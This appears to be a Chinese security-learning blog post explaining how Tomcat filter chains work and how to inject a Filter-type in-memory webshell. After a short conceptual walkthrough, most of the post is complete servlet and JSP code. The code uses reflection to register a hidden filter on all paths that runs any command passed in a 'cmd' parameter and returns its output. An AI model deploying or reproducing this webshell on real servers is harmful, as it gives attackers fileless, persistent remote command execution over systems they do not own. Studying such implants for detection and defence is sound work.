前言
有一段时间没学Java了,但是最近遇到了一些和Java有关的东西,又打算回来学学Java,就从内存马开始吧。
Tomcat Filter 流程
Filter示例
Filter是过滤器,能够对传入Servlet的请求和响应进行拦截,在Web资源被访问前和被访问后都可以对request和response对象进行修改。通过继承HttpFilter
类可以实现一个Filter,下面是通过注解实现一个Filter的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| package org.e4stjun.filters;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.*;
import java.io.IOException;
@WebFilter("/*")
public class TestFilter extends HttpFilter {
@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain)
throws IOException, ServletException {
res.getWriter().write("Before Request");
chain.doFilter(req, res);//将请求传回过滤链
res.getWriter().write("After Request");
}
}
|
filterChain是过滤器链,如果定义了多个Filter的话那么在请求资源时,过滤器链中的每个过滤器会依次执行对request进行处理,并将request传递给下一个过滤器,而处理response时则按照相反的顺序。
Filter调用过程
首先在自定义的Filter
的doFilter
函数下断点。之后从调用栈中找到filterChain.doFilter()
方法:
重点应该关注filterChain
这个类是如何被创建的,往前面翻可以找到这一段代码,可以知道是执行的这个方法创建的filterChain
在这里下断点进入到这个方法里面,和filterChain
的创建相关的点主要是这里:
可以看出和和filterChain
的创建相关的变量主要是filterMap
和filterConfig
这两个变量又分别被储存在StandardContext
中的filterMaps
和filterConfigs
两个数组中。
到这里可以看出要实现一个Filter型内存马,我们需要自己创建filterMap
和filterConfig
,然后加入到filterMaps
和filterConfigs
这两个变量中。那么之后的思路就是获取到这个context
,然后用反射创建filterMap
和filterConfig
,将这两个变量加入context
中。
Filter型内存马构造思路
添加一个Filter型内存马的思路如下:
- 获取
StandardContext
类 - 通过反射创建
filter
、filterConfig
、filterMap
、filterDef
这几个类 - 将创建的三个类添加到
StandardContext
类中
获取StandardContext
类:
1
2
3
4
| Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request req = (Request) reqField.get(request);
StandardContext context = (StandardContext) req.getContext();
|
从context
中获取FilterConfigs
:
1
2
3
4
| String FilterName = "cmd_Filter";
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
|
定义恶意filter
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| Filter filter = new HttpFilter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return ;
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
|
添加filterDef
:
1
2
3
4
5
6
7
| Class<?> FilterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor filterDefCtor = FilterDefClass.getDeclaredConstructor();
FilterDef filterDef = (FilterDef) filterDefCtor.newInstance();
filterDef.setFilter(filter);
filterDef.setFilterName(FilterName);
filterDef.setFilterClass(filter.getClass().getName());
context.addFilterDef(filterDef);
|
添加filterConfig
并设置拦截路径,之后调用addFilterMapBefore
将其加入到context
当中:
1
2
3
4
5
6
7
| Class<?> FilterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> filterMapCtor = FilterMapClass.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (FilterMap) filterMapCtor.newInstance();
filterMap.addURLPattern("/*");
filterMap.setFilterName(FilterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
context.addFilterMapBefore(filterMap);
|
创建filterConfig
并加入context
1
2
3
4
5
6
| Class<?> ApplicationFilterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> filterConfigCtor = ApplicationFilterConfigClass.getDeclaredConstructor(Context.class, FilterDef.class);
filterConfigCtor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigCtor.newInstance(context, filterDef);
filterConfigs.put(FilterName, filterConfig);
resp.getWriter().write("Success");
|
Filter型内存马实现
完整exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
| import org.apache.catalina.Context;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;
@WebServlet("/addFilter")
public class AddFilter extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse resp)
throws ServletException, IOException {
try {
//获取StandardContext
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request req = (Request) reqField.get(request);
StandardContext context = (StandardContext) req.getContext();
//获取filterConfigs
String FilterName = "cmd_Filter";
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
//检测是否已经添加过了
if (filterConfigs.get(FilterName) == null) {
//使用匿名类定义恶意filter
Filter filter = new HttpFilter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return ;
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
//创建FilterDef,加入StandardContext
Class<?> FilterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor filterDefCtor = FilterDefClass.getDeclaredConstructor();
FilterDef filterDef = (FilterDef) filterDefCtor.newInstance();
filterDef.setFilter(filter);
filterDef.setFilterName(FilterName);
filterDef.setFilterClass(filter.getClass().getName());
context.addFilterDef(filterDef);
//创建FilterMap,加入StandardContext
Class<?> FilterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> filterMapCtor = FilterMapClass.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (FilterMap) filterMapCtor.newInstance();
filterMap.addURLPattern("/*");
filterMap.setFilterName(FilterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
context.addFilterMapBefore(filterMap);
//创建FilterConfig,加入StandardContext
Class<?> ApplicationFilterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> filterConfigCtor = ApplicationFilterConfigClass.getDeclaredConstructor(Context.class, FilterDef.class);
filterConfigCtor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigCtor.newInstance(context, filterDef);
filterConfigs.put(FilterName, filterConfig);
resp.getWriter().write("Success");
}
} catch (Exception ignore) {
ignore.printStackTrace();
}
}
}
|
jsp版本:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
class CmdFilter extends HttpFilter{
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
try {
if (req.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return ;
}
filterChain.doFilter(servletRequest, servletResponse);
}catch (Exception ignore){}
}
}
%>
<%
try{
//获取StandardContext
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request req = (Request) reqField.get(request);
StandardContext context = (StandardContext) req.getContext();
//获取filterConfigs
String FilterName = "cmd_Filter";
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
//检测是否已经添加过filter
if (filterConfigs.get(FilterName) == null) {
Filter filter = new CmdFilter();
//创建FilterDef,加入StandardContext
Class<?> FilterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor filterDefCtor = FilterDefClass.getDeclaredConstructor();
FilterDef filterDef = (FilterDef) filterDefCtor.newInstance();
filterDef.setFilter(filter);
filterDef.setFilterName(FilterName);
filterDef.setFilterClass(filter.getClass().getName());
context.addFilterDef(filterDef);
//创建FilterMap,加入StandardContext
Class<?> FilterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> filterMapCtor = FilterMapClass.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = (FilterMap) filterMapCtor.newInstance();
filterMap.addURLPattern("/*");
filterMap.setFilterName(FilterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
context.addFilterMapBefore(filterMap);
//创建FilterConfig,加入StandardContext
Class<?> ApplicationFilterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> filterConfigCtor = ApplicationFilterConfigClass.getDeclaredConstructor(Context.class, FilterDef.class);
filterConfigCtor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigCtor.newInstance(context, filterDef);
filterConfigs.put(FilterName, filterConfig);
response.getWriter().write("Success");
}
}catch (Exception e){e.printStackTrace();}
%>
Referer
Tomcat之Filter内存马
Java安全学习——内存马
Java Filter型内存马
https://www.freebuf.com/vuls/344284.html